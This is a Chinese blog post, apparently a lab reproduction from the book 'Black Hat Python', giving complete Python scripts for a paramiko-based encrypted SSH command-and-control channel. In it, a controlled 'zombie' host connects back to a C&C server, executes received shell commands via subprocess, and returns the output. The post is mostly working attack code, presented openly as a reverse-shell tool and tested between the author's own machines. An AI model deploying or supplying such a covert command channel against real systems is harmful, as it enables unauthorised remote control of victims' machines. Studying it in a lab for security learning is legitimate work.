近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》，书中一共24个实验，今天复现第3个实验（基于paramiko的SSH通信），我的测试环境是mbp电脑+kali虚拟机+conda开发环境。其中mbp电脑充当C&C服务器，kali虚拟机充当受控主机，在mbp电脑上输入控制命令，在kali上接收到命令并执行，将执行结果再发给mbp电脑，于是我们在mbp电脑上获得kali虚拟机的执行的内容，这时一个加密的ssh shell命令控制通道就已经实现了，非常丝滑流畅～

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

1、在服务端运行脚本，可以理解为C&C主机，反弹客户端的shell，其中代码中的密钥来自github[1]

2、在客户端运行脚本，可以理解为受控主机，僵尸主机

参考代码如下：

服务端代码：

# -*- coding: utf-8 -*-
# @Time    : 2022/6/3 9:47 PM
# @Author  : ailx10
# @File    : ssh_server.py

import os
import paramiko
import socket
import sys
import threading

CWD = os.path.dirname(os.path.realpath(__file__))
HOSTKEY = paramiko.RSAKey(filename=os.path.join(CWD,'test_rsa.key'))

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event

    def check_channel_request(self, kind, chanid):
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        if (username == "ailx10") and (password == "ailx10"):
            return paramiko.AUTH_SUCCESSFUL

if __name__ == "__main__":
    server = ""
    ssh_port = 222
    try:
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        sock.bind((server,ssh_port))
        sock.listen(100)
        print("[+] Listening for connection ...")
        client,addr = sock.accept()
    except Exception as e:
        print("[-] Listen failed :" + str(e))
        sys.exit(1)
    else:
        print("[+] Got a connection!",client,addr)

    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(HOSTKEY)
    server = Server()
    bhSession.start_server(server=server)

    chan = bhSession.accept(20)
    if chan is None:
        print("**** No channel.")
        sys.exit(1)

    print("[+] Authenticated!")
    print(chan.recv(1024))
    chan.send("Welcome to bh_ssh")
    try:
        while True:
            command = input("Enter command:")
            if command != "exit":
                chan.send(command)
                r = chan.recv(8192)
                print(r.decode())
            else:
                chan.send("exit")
                print("exiting")
                bhSession.close()
                break
    except KeyboardInterrupt:
        bhSession.close()

客户端代码：

# -*- coding: utf-8 -*-
# @Time    : 2022/6/3 9:14 PM
# @Author  : ailx10
# @File    : ssh_rcmd.py

import paramiko
import shlex
import subprocess

def ssh_command(ip,port,user,passwd,command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip,port=port,username=user,password=passwd)

    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024).decode())
        while True:
            command = ssh_session.recv(1024)
            try:
                cmd = command.decode()
                if cmd == "exit":
                    client.close()
                    break
                cmd_output = subprocess.check_output(shlex.split(cmd),shell=True)
                ssh_session.send(cmd_output or 'okay')
            except Exception as e:
                ssh_session.send(str(e))
                client.close()
    return

if __name__ == "__main__":
    import getpass
    user = getpass.getuser()
    password = getpass.getpass()
    ip = input("Enter server ip:")
    port = input("Enter port:")
    ssh_command(ip,port,user,password,"clientConnected")

参考

1. ^paramiko中的ssh密钥 https://github.com/paramiko/paramiko/tree/main/tests